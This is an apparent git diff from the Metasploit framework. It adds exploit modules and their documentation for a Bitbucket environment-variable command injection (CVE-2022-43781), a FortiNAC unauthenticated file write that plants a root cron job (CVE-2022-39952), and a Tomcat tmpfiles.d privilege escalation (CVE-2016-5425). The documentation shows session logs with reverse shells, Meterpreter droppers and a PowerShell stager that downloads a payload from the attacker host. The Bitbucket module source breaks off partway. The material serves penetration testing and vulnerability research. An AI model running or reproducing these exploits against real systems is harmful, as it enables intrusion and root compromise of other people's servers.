|
||||
|
||||
* 8.0.0 to 8.0.4
|
||||
* 8.1.0 to 8.1.4
|
||||
* 8.2.0 to 8.2.3
|
||||
* 8.3.0 to 8.3.2
|
||||
* 8.4.0 to 8.4.1
|
||||
|
||||
### Installation Instructions
|
||||
|
||||
1. Install Git on the target machine
|
||||
* For Linux
|
||||
* sudo apt install -y git
|
||||
* For Windows
|
||||
* Download an [installer](https://github.com/git-for-windows/git/releases/download/v2.39.2.windows.1/Git-2.39.2-64-bit.exe)
|
||||
* Selecting all defaults should be fine
|
||||
2. Download a vulnerable version of Bitbucket. For example, version `7.18.1` can be found
|
||||
[here for Linux](https://www.atlassian.com/software/stash/downloads/binary/atlassian-bitbucket-7.18.1-x64.bin) and [here for Windows](https://www.atlassian.com/software/stash/downloads/binary/atlassian-bitbucket-7.18.1-x64.exe)
|
||||
3. For Linux, make sure the resulting bin file is executable and run it. Just double click on the installer file if using Windows
|
||||
* chmod +x atlassian-bitbucket-8.3.0-x64.bin && sudo ./atlassian-bitbucket-8.3.0-x64.bin
|
||||
4. An installation wizard will pop up. Make sure `Install a new instance` is checked, then click `Next`
|
||||
5. Check `Install a Server instance` and click `Next`
|
||||
6. If the default destination directory looks good, click `Next`
|
||||
7. Click `Next` if the default Bitbucket data directory looks fine
|
||||
8. Make sure the `Use default HTTP port (7990)` selection is checked and click `Next`
|
||||
9. Make sure the `Install Bitbucket as a service` box is checked and click `Next`
|
||||
10. Click `Install` if everything looks correct on the summary screen
|
||||
11. Once the installation completes, make sure the `Would you like to launch Bitbucket` option is selected
|
||||
and click `Next`
|
||||
12. Ensure `Launch Bitbucket <version> in browser` is selected and click `Finish`
|
||||
13. Navigate to the Bitbucket setup page (http://localhost:7990) and select the `I need an evaluation license` option
|
||||
14. If you already have an account, select `I have an account`; otherwise, create a new account
|
||||
15. 'up and running' should be selected on the next page, so click `Generate License`
|
||||
16. Confirm that the prompt gives you the correct server, then click `Yes`
|
||||
17. The license should be entered in the box, so select `Next`
|
||||
18. Finally, set up an administrator account
|
||||
|
||||
*Note*: If an error occurs on the last step, just open a browser and navigate to the setup
|
||||
page at 127.0.0.1:7990. If installing an 8.* version of Bitbucket, you will need to create
|
||||
a `bitbucket.properties` file at `/var/atlassian/application-data/bitbucket/shared`. Once created,
|
||||
add the line `mesh.enabled=false`, save the file, and restart Bitbucket.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/multi/http/bitbucket_env_var_rce`
|
||||
4. Do: `set USERNAME <username>`
|
||||
5. Do: `set PASSWORD <pass>`
|
||||
6. Do: `set RHOST <target_ip>`
|
||||
7. Do: `set LHOST <listen_ip>`
|
||||
8. Do: `run`
|
||||
9. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
|
||||
Username to authenticate with and has at least admin privileges
|
||||
|
||||
### PASSWORD
|
||||
|
||||
Password to authenticate with
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 22.04 x64 - Bitbucket `v7.6.17`, CMD Target
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/http/bitbucket_env_var_rce
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set rhost 192.168.140.149
|
||||
rhost => 192.168.140.149
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set lhost 192.168.140.1
|
||||
lhost => 192.168.140.1
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set username test
|
||||
username => test
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set password password
|
||||
password => password
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.140.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] No accessible repositories. Will attempt to create a repo
|
||||
[*] Failed to find valid project information. Will attempt to create repo
|
||||
[*] Project creation was successful
|
||||
[+] Successfully created repository 'fjNMKiB'
|
||||
[+] Commits added: 9e03047ab0802438c2058e49ec757a7be8d222eb, f7683fcc92840ff94e609c8b0a99e165edb5aa7d
|
||||
[*] Sending payload
|
||||
[*] Command shell session 1 opened (192.168.140.1:4444 -> 192.168.140.149:41118) at 2023-03-13 14:04:00 -0500
|
||||
[*] Changing user name back to 'test'
|
||||
[+] Repository has been deleted
|
||||
[+] Project has been deleted
|
||||
|
||||
uname -a
|
||||
Linux gitlab-virtual-machine 5.15.0-58-generic #64-Ubuntu SMP Thu Jan 5 11:43:13 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
|
||||
id
|
||||
uid=1001(atlbitbucket) gid=1001(atlbitbucket) groups=1001(atlbitbucket)
|
||||
```
|
||||
|
||||
### Ubuntu 22.04 x64 - Bitbucket `v7.6.17`, Linux Dropper
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > show targets
|
||||
|
||||
Exploit targets:
|
||||
=================
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
=> 1 Linux Dropper
|
||||
2 Windows Dropper
|
||||
|
||||
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set payload linux/x86/meterpreter/reverse_tcp
|
||||
payload => linux/x86/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.140.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] No accessible repositories. Will attempt to create a repo
|
||||
[*] Failed to find valid project information. Will attempt to create repo
|
||||
[*] Project creation was successful
|
||||
[+] Successfully created repository 'gmoQNc'
|
||||
[+] Commits added: d355924ddef6869f5bbd7673c2a2d67c14ccd56d, cbd85c6309ab2830455c1796898f9677e10227e5
|
||||
[*] Sending payload
|
||||
[*] Using URL: http://192.168.140.1:8080/VtgFQ7yCgjcP
|
||||
[*] Client 192.168.140.149 (Wget/1.21.2) requested /VtgFQ7yCgjcP
|
||||
[*] Sending payload to 192.168.140.149 (Wget/1.21.2)
|
||||
[*] Command Stager progress - 53.04% done (61/115 bytes)
|
||||
[*] Command Stager progress - 72.17% done (83/115 bytes)
|
||||
[*] Sending stage (1017704 bytes) to 192.168.140.149
|
||||
[*] Meterpreter session 2 opened (192.168.140.1:4444 -> 192.168.140.149:50632) at 2023-03-13 14:06:18 -0500
|
||||
[*] Command Stager progress - 83.48% done (96/115 bytes)
|
||||
[*] Command Stager progress - 100.00% done (115/115 bytes)
|
||||
[*] Changing user name back to 'test'
|
||||
[+] Repository has been deleted
|
||||
[+] Project has been deleted
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: atlbitbucket
|
||||
```
|
||||
|
||||
### Windows 10, x64 - Bitbucket `v7.18.1`, Windows Dropper
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/http/bitbucket_env_var_rce
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set rhost 192.168.140.171
|
||||
rhost => 192.168.140.171
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set lhost 192.168.140.1
|
||||
lhost => 192.168.140.1
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set username admin
|
||||
username => admin
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set password P@ssword
|
||||
password => P@ssword
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set target 2
|
||||
target => 2
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.140.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Found version 7.18.1 of Bitbucket
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] No accessible repositories. Will attempt to create a repo
|
||||
[*] Failed to find valid project information. Will attempt to create repo
|
||||
[*] Retrieving security token
|
||||
[*] Project creation was successful
|
||||
[+] Successfully created repository 'GqFji'
|
||||
[+] Commits added: 99a9d18e3a72d01bbdaac9bd8d84ba97bb3d7dad, 85a051cb3572b13e59816ff51b527706d66ae392
|
||||
[*] Sending payload
|
||||
[*] Using URL: http://192.168.140.1:8080/ZOwoRUPRlio
|
||||
[*] Generated command stager: ["powershell.exe -c Invoke-WebRequest -OutFile .\\xnbrdApP.exe http://192.168.140.1:8080/ZOwoRUPRlio", ".\\xnbrdApP.exe", "del .\\xnbrdApP.exe"]
|
||||
[*] Client 192.168.140.171 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237) requested /ZOwoRUPRlio
|
||||
[*] Sending payload to 192.168.140.171 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237)
|
||||
[*] Command Stager progress - 75.19% done (97/129 bytes)
|
||||
[*] Sending stage (175686 bytes) to 192.168.140.171
|
||||
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.171:51236) at 2023-03-13 14:29:25 -0500
|
||||
[*] Command Stager progress - 86.05% done (111/129 bytes)
|
||||
[*] Command Stager progress - 100.00% done (129/129 bytes)
|
||||
[*] Changing user name back to 'admin'
|
||||
[*] Attempting to delete repository 'GqFji'
|
||||
[+] Repository has been deleted
|
||||
[*] Now attempting to delete project 'eTzDRa'
|
||||
[+] Project has been deleted
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: DESKTOP-5JSUGC8\atlbitbucket
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-5JSUGC8
|
||||
OS : Windows 10 (10.0 Build 19044).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 4
|
||||
Meterpreter : x86/windows
|
||||
```
|
||||
|
||||
### Ubuntu 22.04 x64 - Bitbucket `v8.4.0` with mesh.enabled set to false, Linux Dropper
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/http/bitbucket_env_var_rce
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set payload linux/x86/meterpreter/reverse_tcp
|
||||
payload => linux/x86/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set rhost 192.168.140.149
|
||||
rhost => 192.168.140.149
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set lhost 192.168.140.1
|
||||
lhost => 192.168.140.1
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set username administrator
|
||||
username => administrator
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > set password S3cureP@ssword
|
||||
password => S3cureP@ssword
|
||||
msf6 exploit(multi/http/bitbucket_env_var_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.140.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Versions 8.* are vulnerable only if the mesh setting is disabled
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] No accessible repositories. Will attempt to create a repo
|
||||
[*] Failed to find valid project information. Will attempt to create repo
|
||||
[*] Project creation was successful
|
||||
[+] Successfully created repository 'IuNYsZZPl'
|
||||
[+] Commits added: 560d760fdcbcf210c2c1b6dd04663381002066e5, 53ada0136f82899451c16a00cb939225dba53336
|
||||
[*] Sending payload
|
||||
[*] Using URL: http://192.168.140.1:8080/qt9f0M
|
||||
[*] Client 192.168.140.149 (Wget/1.21.2) requested /qt9f0M
|
||||
[*] Sending payload to 192.168.140.149 (Wget/1.21.2)
|
||||
[*] Command Stager progress - 50.46% done (55/109 bytes)
|
||||
[*] Command Stager progress - 70.64% done (77/109 bytes)
|
||||
[*] Sending stage (1017704 bytes) to 192.168.140.149
|
||||
[*] Meterpreter session 10 opened (192.168.140.1:4444 -> 192.168.140.149:43360) at 2023-03-14 19:00:00 -0500
|
||||
[*] Command Stager progress - 82.57% done (90/109 bytes)
|
||||
[*] Command Stager progress - 100.00% done (109/109 bytes)
|
||||
[*] Changing user name back to 'administrator'
|
||||
[+] Repository has been deleted
|
||||
[+] Project has been deleted
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: atlbitbucket
|
||||
```
|
||||
@@ -32,7 +32,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.3.7"
|
||||
VERSION = "6.3.8"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -0,0 +1,149 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Fortinet FortiNAC keyUpload.jsp arbitrary file write',
|
||||
'Description' => %q{
|
||||
This module uploads a payload to the /tmp directory in addition to a cron job
|
||||
to /etc/cron.d which executes the payload in the context of the root user.
|
||||
|
||||
The core vulnerability is an arbitrary file write issue in /configWizard/keyUpload.jsp which
|
||||
is accessible remotely and without authentication. When you send the vulnerable
|
||||
endpoint a ZIP file, it will extract an attacker controlled file to a directory
|
||||
of the attackers choice on the target system.
|
||||
|
||||
This issue is exploitable on the following versions of FortiNAC:
|
||||
|
||||
FortiNAC version 9.4 prior to 9.4.1
|
||||
FortiNAC version 9.2 prior to 9.2.6
|
||||
FortiNAC version 9.1 prior to 9.1.8
|
||||
FortiNAC 8.8 all versions
|
||||
FortiNAC 8.7 all versions
|
||||
FortiNAC 8.6 all versions
|
||||
FortiNAC 8.5 all versions
|
||||
FortiNAC 8.3 all versions
|
||||
},
|
||||
'Author' => [
|
||||
'Gwendal Guégniaud', # discovery
|
||||
'Zach Hanley', # PoC
|
||||
'jheysel-r7' # module
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/'],
|
||||
['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-300'],
|
||||
['URL', 'https://github.com/horizon3ai/CVE-2022-39952'],
|
||||
['URL', 'https://attackerkb.com/topics/9BvxYuiHYJ/cve-2022-39952'],
|
||||
['CVE', '2022-39952']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => %w[linux unix],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true,
|
||||
'RPORT' => 8443,
|
||||
'WfsDelay' => '75'
|
||||
},
|
||||
'Arch' => [ ARCH_CMD, ARCH_X64, ARCH_X86 ],
|
||||
'Targets' => [
|
||||
[ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ],
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
|
||||
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2023-02-16',
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ]
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'configWizard', 'keyUpload.jsp'),
|
||||
'method' => 'POST'
|
||||
})
|
||||
|
||||
return Exploit::CheckCode::Unknown('Target did not respond') unless res
|
||||
return Exploit::CheckCode::Safe("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200
|
||||
return Exploit::CheckCode::Appears('Target indicated a successful upload occurred!') if res.body.include?('yams.jsp.portal.SuccessfulUpload')
|
||||
|
||||
Exploit::CheckCode::Safe('The target responded with a 200 OK message, however the response to our POST request with a blank body did not contain the expected upload successful message!')
|
||||
end
|
||||
|
||||
def zip_file(filepath, contents)
|
||||
zip = Rex::Zip::Archive.new
|
||||
zip.add_file(filepath, contents)
|
||||
|
||||
zip.pack
|
||||
end
|
||||
|
||||
def send_zip_file(filename, contents, file_description)
|
||||
mime = Rex::MIME::Message.new
|
||||
mime.add_part(contents, nil, 'binary', "form-data; name=\"key\"; filename=\"#{filename}\"")
|
||||
|
||||
print_status("Sending zipped #{file_description} to /configWizard/keyUpload.jsp")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'configWizard', 'keyUpload.jsp'),
|
||||
'method' => 'POST',
|
||||
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
|
||||
'data' => mime.to_s
|
||||
})
|
||||
fail_with(Failure::Unknown, 'Failed to send the ZIP file to /configWizard/keyUpload.jsp') unless res && res.code == 200 && res.body.include?('yams.jsp.portal.SuccessfulUpload')
|
||||
print_good('Successfully sent ZIP file')
|
||||
end
|
||||
|
||||
def cron_file(command)
|
||||
cron_file = 'SHELL=/bin/sh'
|
||||
cron_file << "\n"
|
||||
cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
|
||||
cron_file << "\n"
|
||||
cron_file << "* * * * * root #{command}"
|
||||
cron_file << "\n"
|
||||
|
||||
cron_file
|
||||
end
|
||||
|
||||
def exploit
|
||||
cron_filename = Rex::Text.rand_text_alpha(8)
|
||||
cron_path = '/etc/cron.d/' + cron_filename
|
||||
|
||||
case target['Arch']
|
||||
when ARCH_CMD
|
||||
cron_command = payload.raw
|
||||
when ARCH_X64, ARCH_X86
|
||||
payload_filename = Rex::Text.rand_text_alpha(8)
|
||||
payload_path = '/tmp/' + payload_filename
|
||||
payload_data = payload.encoded_exe
|
||||
cron_command = "chmod +x #{payload_path} && #{payload_path}"
|
||||
|
||||
# zip and send payload
|
||||
zipped_payload = zip_file(payload_path, payload_data)
|
||||
send_zip_file(payload_filename, zipped_payload, 'payload')
|
||||
register_dirs_for_cleanup(payload_path)
|
||||
else
|
||||
fail_with(Failure::BadConfig, 'Invalid target architecture selected')
|
||||
end
|
||||
|
||||
# zip and send cron job
|
||||
zipped_cron = zip_file(cron_path, cron_file(cron_command))
|
||||
send_zip_file(cron_filename, zipped_cron, 'cron job')
|
||||
register_dirs_for_cleanup(cron_path)
|
||||
|
||||
print_status('Waiting for cron job to run')
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,178 @@
|
||||
###
|
||||
#
|
||||
# This exploit sample shows how an exploit module could be written to exploit
|
||||
# a bug in a command on a linux computer for priv esc.
|
||||
#
|
||||
###
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Retry
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Post::Linux::Compile
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in RedHat based systems where
|
||||
improper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conf
|
||||
for Apache Tomcat versions before 7.0.54-8. This may also work against
|
||||
|
||||
The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage
|
||||
temporary files including their creation.
|
||||
|
||||
With this weak permission, we're able to inject commands into systemd-tmpfiles
|
||||
service to write a cron job to execute our payload.
|
||||
|
||||
systemd-tmpfiles is executed by default on boot on RedHat-based systems
|
||||
through systemd-tmpfiles-setup.service. Depending on the system in use,
|
||||
the execution of systemd-tmpfiles could also be triggered by other
|
||||
services, cronjobs, startup scripts etc.
|
||||
|
||||
This module was tested against Tomcat 7.0.54-3 on Fedora 21.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die', # msf module
|
||||
'Dawid Golunski <dawid@legalhackers.com>' # original PoC, analysis, discovery
|
||||
],
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [[ 'Auto', {} ]],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' => {
|
||||
'WfsDelay' => 1800, # 30min
|
||||
'payload' => 'linux/x64/meterpreter_reverse_tcp'
|
||||
},
|
||||
'References' => [
|
||||
['EDB', '40488' ],
|
||||
['URL', 'https://access.redhat.com/security/cve/CVE-2016-5425'],
|
||||
['URL', 'http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html'],
|
||||
['URL', 'https://www.freedesktop.org/software/systemd/man/tmpfiles.d.html'], # general tompfiles.d info
|
||||
['CVE', '2016-5425']
|
||||
],
|
||||
'DisclosureDate' => '2016-10-10',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),
|
||||
]
|
||||
end
|
||||
|
||||
# Simplify pulling the writable directory variable
|
||||
def base_dir
|
||||
datastore['WritableDir'].to_s
|
||||
end
|
||||
|
||||
def tomcat_conf
|
||||
'/usr/lib/tmpfiles.d/tomcat.conf'
|
||||
end
|
||||
|
||||
def suid?(file)
|
||||
get_suid_files(file).include? file
|
||||
end
|
||||
|
||||
def check
|
||||
package = cmd_exec('rpm -qa | grep "^tomcat\-[678]"')
|
||||
if package.nil? || package.empty?
|
||||
return CheckCode::Safe('Unable to execute command to determine installed pacakges')
|
||||
end
|
||||
|
||||
package = package.sub('tomcat-', '').strip
|
||||
# fedora based cleanup
|
||||
package = package.sub(/\.fc\d\d\.noarch/, '')
|
||||
# rhel/centos based cleanup
|
||||
package = package.sub(/\.el\d_\d\.noarch/, '')
|
||||
package = Rex::Version.new(package)
|
||||
|
||||
# The write-up says 6, 7, 8 but doesn't include version numbers. RHEL's writeup says
|
||||
# only 7 is effected, so we're going to go off their write-up.
|
||||
if package.to_s.start_with?('7') && package < Rex::Version.new('7.0.54-8')
|
||||
return CheckCode::Appears("Vulnerable app version detected: #{package}")
|
||||
end
|
||||
|
||||
CheckCode::Safe("Unexploitable tomcat packages found: #{package}")
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Check if we're already root
|
||||
if is_root? && !datastore['ForceExploit']
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
|
||||
end
|
||||
|
||||
unless writable? base_dir
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
unless writable? tomcat_conf
|
||||
fail_with Failure::BadConfig, "#{tomcat_conf} is not writable"
|
||||
end
|
||||
|
||||
vprint_status("Creating backup of #{tomcat_conf}")
|
||||
@tomcat_conf_content = read_file(tomcat_conf)
|
||||
path = store_loot(
|
||||
tomcat_conf,
|
||||
'text/plain',
|
||||
rhost,
|
||||
@tomcat_conf_content,
|
||||
'tomcat.conf'
|
||||
)
|
||||
print_good("Original #{tomcat_conf} backed up to #{path}")
|
||||
|
||||
# Upload payload executable
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
||||
vprint_status("Uploading Payload to #{payload_path}")
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
register_file_for_cleanup(payload_path)
|
||||
|
||||
# write in our payload execution
|
||||
vprint_status("Writing permission elevation into #{tomcat_conf}")
|
||||
|
||||
cron_job = "/etc/cron.d/#{rand_text_alphanumeric(5..10)}"
|
||||
print_status("Creating cron job in #{cron_job}")
|
||||
# The POC shows 2 options, a cron answer, and copy bash answer.
|
||||
# Initially I attempted to copy our payload, set suid and root owner
|
||||
# however it seemed to need 2 service restart to apply all the permissions.
|
||||
# I never figured out why it was like that, even chaining copying bash in, then
|
||||
# launching the payload from the bash instance etc. We opt for the cron
|
||||
# which may take 1 additional minute, and rely on cron, but is much more stable
|
||||
cmd_exec("echo 'F #{cron_job} 0644 root root - \"* * * * * root nohup #{payload_path} & \\n\\n\"' >> #{tomcat_conf}")
|
||||
register_file_for_cleanup(cron_job)
|
||||
|
||||
# we now need systemd-tmpfiles to restart
|
||||
print_good("Waiting #{datastore['WfsDelay']} seconds. Run the following command on the target machine: /usr/bin/systemd-tmpfiles --create - this is required to restart the tmpfiles-setup.service")
|
||||
succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do
|
||||
file? cron_job
|
||||
end
|
||||
|
||||
unless succeeded
|
||||
print_error("#{cron_job} not found, exploit aborted")
|
||||
return
|
||||
end
|
||||
|
||||
print_status('Waiting on cron to execute the payload (~1 minute)')
|
||||
end
|
||||
|
||||
def cleanup
|
||||
unless @tomcat_conf_content.nil?
|
||||
write_file(tomcat_conf, @tomcat_conf_content)
|
||||
end
|
||||
super
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,619 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Git
|
||||
include Msf::Exploit::Git::SmartHttp
|
||||
include Msf::Exploit::CmdStager
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Bitbucket Environment Variable RCE',
|
||||
'Description' => %q{
|
||||
For various versions of Bitbucket, there is an authenticated command injection
|
||||
vulnerability that can be exploited by injecting environment
|
||||
variables into a user name. This module achieves remote code execution
|
||||
as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment
|
||||
variable, a null character as a delimiter, and arbitrary code into a user's
|
||||
user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable
|
||||
will be run once the Bitbucket application is coerced into generating a diff.
|
||||
|
||||
This module requires at least admin credentials, as admins and above
|
||||
only have the option to change their user name.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Ry0taK', # Vulnerability Discovery
|
||||
'y4er', # PoC and blog post
|
||||
'Shelby Pace' # Metasploit Module
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/'],
|
||||
[ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html'],
|
||||
[ 'CVE', '2022-43781']
|
||||
],
|
||||
'Platform' => [ 'win', 'unix', 'linux' ],
|
||||
'Privileged' => true,
|
||||
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
|
||||
'Targets' => [
|
||||
[
|
||||
'Linux Command',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Type' => :unix_cmd,
|
||||
'Arch' => [ ARCH_CMD ],
|
||||
'Payload' => { 'Space' => 254 },
|
||||
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux Dropper',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'MaxLineChars' => 254,
|
||||
'Type' => :linux_dropper,
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'CmdStagerFlavor' => %i[wget curl],
|
||||
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows Dropper',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'MaxLineChars' => 254,
|
||||
'Type' => :win_dropper,
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'CmdStagerFlavor' => [ :psh_invokewebrequest ],
|
||||
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => '2022-11-16',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(7990),
|
||||
OptString.new('USERNAME', [ true, 'User name to log in with' ]),
|
||||
OptString.new('PASSWORD', [ true, 'Password to log in with' ]),
|
||||
